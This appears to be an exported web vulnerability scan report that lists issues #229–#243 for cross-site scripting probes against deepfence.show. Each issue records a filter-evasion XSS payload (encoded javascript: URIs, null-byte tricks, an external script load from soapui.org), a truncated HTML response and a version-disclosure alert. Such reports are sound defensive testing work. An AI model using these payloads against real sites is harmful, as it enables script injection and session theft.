Issue Number #229
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1Test Step GET
Modified 
ParametersName Value
DemoUser1# <IMG SRC=javascript:alert(&quot;XSS&quot;)>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will not be  DemoUser1# 
echoed back in the response
CWE-ID CWE-79
Issue Number #230
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# <IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessaryhints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will not be  DemoUser1# 
echoed back in the response
CWE-ID CWE-79
Issue Number #231
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# <IMG """><SCRIPT>alert("XSS")</SCRIPT>">
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will not be  DemoUser1# 
echoed back in the response
CWE-ID CWE-79
Issue Number #232
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# <IMG SRC=javascript:alert(String.fromCharCode(88,83,83)
)>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will not be  DemoUser1# 
echoed back in the response
CWE-ID CWE-79
Issue Number #233
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# <IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105
;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&
#39;&#88;&#83;&#83;&#39;&#41;>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will not be  DemoUser1# 
echoed back in the response
CWE-ID CWE-79Issue Number #234
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# <IMG SRC=&#0000106&#0000097&#0000118&#0000097&
#0000115&#0000099&#0000114&#0000105&#0000112&
#0000116&#0000058&#0000097&#0000108&#0000101&
#0000114&#0000116&#0000040&#0000039&#0000088&
#0000083&#0000083&#0000039&#0000041>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will not be  DemoUser1# 
echoed back in the response
CWE-ID CWE-79
Issue Number #235
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#
x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#
x27&#x58&#x53&#x53&#x27&#x29>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will not be  DemoUser1# 
echoed back in the response
CWE-ID CWE-79
Issue Number #236
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# <IMG SRC="jav ascript:alert('XSS');">
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will not be  DemoUser1# 
echoed back in the response
CWE-ID CWE-79
Issue Number #237Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# <IMG SRC="jav&#x09;ascript:alert('XSS');">
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will not be  DemoUser1# 
echoed back in the response
CWE-ID CWE-79
Issue Number #238
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# <IMG SRC="jav&#x0A;ascript:alert('XSS');">
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will not be  DemoUser1# 
echoed back in the response
CWE-ID CWE-79
Issue Number #239
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# <IMG SRC="jav&#x0D;ascript:alert('XSS');">
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will not be  DemoUser1# 
echoed back in the response
CWE-ID CWE-79
Issue Number #240
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GETModified 
ParametersName Value
DemoUser1# perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > 
out
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will not be  DemoUser1# 
echoed back in the response
CWE-ID CWE-79
Issue Number #241
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# perl -e 'print "<SCR\0IPT>alert(\"XSS\")</SCR\0IPT>";' > 
out
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessaryhints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will not be  DemoUser1# 
echoed back in the response
CWE-ID CWE-79
Issue Number #242
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# <IMG SRC=" &#14; javascript:alert('XSS');">
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will not be  DemoUser1# 
echoed back in the response
CWE-ID CWE-79
Issue Number #243
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# <SCRIPT/XSS SRC="http://soapui.org/xss.js"></SCRIPT>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
